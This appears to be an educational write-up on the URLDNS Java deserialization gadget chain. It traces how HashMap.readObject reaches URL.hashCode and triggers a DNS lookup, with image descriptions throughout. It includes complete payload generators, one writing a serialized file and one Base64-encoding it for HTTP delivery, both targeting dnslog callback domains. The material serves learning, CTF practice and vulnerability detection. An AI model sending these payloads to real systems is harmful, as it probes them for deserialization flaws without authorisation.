[AI Readability Summary] URLDNS is a classic reconnaissance gadget chain in Java deserialization. Its core capability is triggering DNS resolution during object deserialization by abusing the host-resolution logic inside
URL.hashCode(), which makes it ideal for blind target probing. It solves the common problem of verifying a deserialization sink using only outbound network behavior. Keywords: Java Deserialization, URLDNS, HashMap.
Technical Specifications Snapshot
| Parameter | Value |
|---|---|
| Language | Java |
| Core Protocols | DNS, Java Serialization |
| Scenario | Java Security / CTF / Gadget Chain Analysis |
| Related Tool | ysoserial-all.jar |
| Key Classes | URL, HashMap, ObjectInputStream, InetAddress |
| Core Dependencies | JDK standard library, reflection |
| Exploitation Goal | Trigger DNS resolution through deserialization |
| Practical Value | Deserialization vulnerability detection, out-of-band verification, gadget chain understanding |
The core of URLDNS is executing URL.hashCode() during deserialization
URLDNS does not aim for direct remote code execution. Instead, when the target JVM deserializes an object, it leverages the internal host-resolution logic in URL.hashCode() to trigger a DNS lookup. The chain is very short, has minimal side effects, and is well suited for validating the presence of a vulnerability.
The key takeaway is that the real network behavior does not come from an explicit HTTP request. It comes from InetAddress.getByName(host). As long as the host portion of the URL is a controllable domain, the target system may issue an outbound DNS query.
import java.net.URL;
public class UrlDnsDemo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://example.dnslog.cn");
url.hashCode(); // Triggers URL hash calculation, which may perform DNS resolution internally
}
}
This snippet shows that calling URL.hashCode() alone is enough to push the JVM into the host address resolution path.
AI Visual Insight: The image shows the imported ysoserial-all.jar file used in the analysis, indicating that the experiment was performed in the context of an existing Java deserialization gadget toolkit. The focus is not on running the tool itself, but on breaking down the gadget chain at the source-code level.
The real danger in URL.hashCode() lies in getHostAddress
URL.hashCode() does more than compute a string hash. It delegates to the protocol handler via hashCode(URL u), which attempts to retrieve the host address. If the host is a domain name, the process enters DNS resolution.
AI Visual Insight: The image shows the source entry point of URL.hashCode(). The method first checks the cached value and then calls handler.hashCode(this), which shows that the risky behavior is actually delegated to URLStreamHandler.
AI Visual Insight: The image shows the member definition of the handler field inside the URL object, emphasizing that URL delegates protocol-specific logic to a handler object. That is also where the later DNS resolution occurs.
AI Visual Insight: The image shows the source view after stepping further into the handler object, confirming that the analysis path has moved from the URL class into the protocol handler layer rather than stopping at the surface API.
protected int hashCode(URL u) {
int h = 0;
String protocol = u.getProtocol();
if (protocol != null) h += protocol.hashCode();
InetAddress addr = getHostAddress(u); // Core logic: attempt to resolve the host address
if (addr != null) {
h += addr.hashCode();
}
return h;
}
The exploitation value of this logic is straightforward: the hash calculation embeds a network-resolution action, so “computing a hash” effectively becomes “probing outbound DNS.”
The DNS request is triggered by InetAddress.getByName
The real out-of-band sink is in getHostAddress(URL u). When u.hostAddress is empty and host is not empty, the JVM calls InetAddress.getByName(host) to resolve the domain name.
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null) return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) return null;
try {
u.hostAddress = InetAddress.getByName(host); // This triggers a DNS lookup
} catch (Exception e) {
return null;
}
return u.hostAddress;
}
This step explains the essence of URLDNS: it does not abuse URL resource fetching. It abuses the side effect of domain name resolution to verify the vulnerability.
HashMap.readObject() sends the URL object back into hash calculation
The second condition that makes the gadget chain work is that the target object must automatically invoke key.hashCode() during deserialization. The original article chooses HashMap for a simple reason: it implements Serializable, and its readObject() method recomputes the hash of each key when rebuilding the map.
AI Visual Insight: The image shows a basic usage example of HashMap, serving as context for why the key-value structure acts as the carrier for the URLDNS chain. The key point is that the key participates in hash computation.
AI Visual Insight: The image shows source information proving that HashMap implements Serializable, which makes it naturally serializable and deserializable and therefore a common trigger container for URLDNS.
AI Visual Insight: The image shows where HashMap.writeObject is implemented, indicating that the class customizes its serialization logic instead of relying entirely on default object-stream behavior.
AI Visual Insight: The image shows the source region of HashMap.readObject, illustrating that deserialization restores map entries one by one. That restoration process is the entry point for key hash recomputation.
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false); // Recomputes the key hash during deserialization
}
The meaning is clear: as long as key is a URL object, hash(key) eventually reaches URL.hashCode(), embedding DNS resolution into the deserialization flow.
HashMap.hash() connects the trigger point to URL.hashCode()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // Non-null keys always invoke hashCode
}
At this layer, the chain becomes complete:
ObjectInputStream.readObject() → HashMap.readObject() → hash(key) → URL.hashCode() → InetAddress.getByName().
AI Visual Insight: The image shows source code or a method list related to ObjectOutputStream, emphasizing that Java’s native serialization framework prioritizes custom writeObject/readObject implementations. That is important background for understanding container-triggered behavior.
Building a HashMap directly runs into the hashCode cache problem
The difficulty in URLDNS is not discovering the chain. It is making the payload work reliably. When HashMap.put(url, value) executes, it calls hash(url) first. That means URL.hashCode() runs early and caches the result in the internal hashCode field of the URL object.
Map<Object, String> map = new HashMap<>();
URL url = new URL("http://demo.dnslog.cn");
map.put(url, "steady"); // url.hashCode() has already been called here
If the cached value already exists, a later call to URL.hashCode() during deserialization may simply return the old value instead of resolving the domain again. In that case, no outbound DNS query occurs.
AI Visual Insight: The image shows the internal cache check in URL.hashCode(). When hashCode != -1, the method returns the cached value directly. This is the root cause of an initial payload failing.
AI Visual Insight: The image shows the source path inside HashMap.put, proving that the first hash computation already happens when the object is inserted into the map, before deserialization ever begins.
Resetting URL.hashCode via reflection allows deserialization to resolve the domain again
The fix is simple: first insert the URL into the HashMap, then use reflection to reset its internal hashCode field to -1. That makes URL.hashCode() treat the cache as invalid during target-side deserialization, forcing it to resolve the domain again.
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class UrlDnsPayload {
public static void main(String[] args) throws Exception {
HashMap<Object, String> map = new HashMap<>();
URL url = new URL("http://plqddn.dnslog.cn");
map.put(url, "steady"); // Insert into the container first to build a serializable structure
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1); // Reset the cache so hashCode is triggered again during deserialization
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(map); // Serialize the payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // Trigger DNS during deserialization
}
}
This code completes the minimal URLDNS exploitation loop: construct, fix the cache, serialize, deserialize, and trigger DNS.
AI Visual Insight: The image shows a debugger breakpoint at the hashCode == -1 check, used to verify whether the URL object enters the recomputation branch.
AI Visual Insight: The image shows a breakpoint during the put logic to prove that the URL already completes its first hash computation when it is added to the HashMap.
AI Visual Insight: The image shows a debug result where the URL object’s internal hashCode has been cached as a concrete integer, demonstrating why DNS resolution is blocked later unless the field is reset.
AI Visual Insight: The image shows continued breakpoint tracing during HashMap deserialization or put, used to observe how the key hash is reused.
AI Visual Insight: The image shows the deserialization stage still hitting the cached hashCode value, further confirming that the direct cause of “no DNS request” is an uncleared cache.
In CTF scenarios, the common practice is to output Base64-encoded serialized data
In real challenges, attackers often cannot write files directly. Instead, they need to convert the serialized byte stream into a transportable string. The CTF version in the original article uses ByteArrayOutputStream and Base64 encoding so the payload can be submitted through HTTP parameters, cookies, or form fields.
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class CtfPayload {
public static void main(String[] args) throws Exception {
HashMap<Object, String> map = new HashMap<>();
URL url = new URL("http://example.challenge.ctf.show/");
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 1); // Set a temporary value first to avoid triggering real DNS during put
map.put(url, "steady");
f.set(url, -1); // Reset to -1 so deserialization resolves the domain again
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
String payload = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(payload); // Output transportable serialized data
}
}
This code generates a URLDNS payload that can be transmitted directly, making it suitable for lab validation and CTF exploitation.
AI Visual Insight: The image shows the experimental result after executing the final exploit code, usually corresponding to a DNSLog platform entry or a successful runtime state, proving that the payload worked.
AI Visual Insight: The image shows the companion verification interface, highlighting the DNS query or post-execution feedback used to confirm that the deserialization chain is valid.
AI Visual Insight: The image shows the CTF environment or challenge page, illustrating how URLDNS is commonly used in competitions for blind probing, callback verification, or identifying deserialization entry points.
AI Visual Insight: The image shows the payload after Base64 encoding and then URL encoding, reflecting the practical need to handle transport-layer encoding compatibility during real exploitation.
The best way to understand URLDNS is to remember the four-step call path
First, build a HashMap that uses a URL as the key. Second, fix the internal hashCode cache inside the URL. Third, serialize the byte stream and deliver it to the target. Fourth, wait for the target to automatically compute the key hash inside readObject() and trigger a DNS query.
Reusable call chain summary
ObjectInputStream.readObject()
-> HashMap.readObject()
-> HashMap.hash(key)
-> URL.hashCode()
-> URLStreamHandler.getHostAddress()
-> InetAddress.getByName(host)
This chain is short, stable, and has very few dependencies. That is why URLDNS has long been treated as an introductory Java deserialization gadget for both learning and validation.
FAQ
1. Why is URLDNS commonly used for vulnerability detection instead of direct RCE?
Because it fundamentally triggers the side effect of DNS resolution and does not include arbitrary command execution logic. Its strength is that it is stable, lightweight, and minimally destructive, making it ideal as a first-step check for whether a target exposes a deserialization entry point.
2. Why must the URL be placed inside a HashMap instead of serializing the URL object alone?
Serializing a URL object by itself does not guarantee that the target will automatically call hashCode() during deserialization. By contrast, HashMap.readObject() actively recomputes the hash of each key, which makes HashMap the container that pushes the URL object into the dangerous path.
3. Why do we need to change the URL.hashCode field back to -1?
Because HashMap.put() has already invoked URL.hashCode() once, and the result is cached. If you do not reset it, the deserialization phase may return the cached value directly, never re-enter InetAddress.getByName(), and therefore never generate a DNS request.
Core summary: This article reconstructs the core mechanics of the URLDNS gadget chain by focusing on the call relationship between URL.hashCode, InetAddress.getByName, and HashMap.readObject. It explains why deserialization can trigger DNS requests and how resetting hashCode through reflection makes the payload work reliably.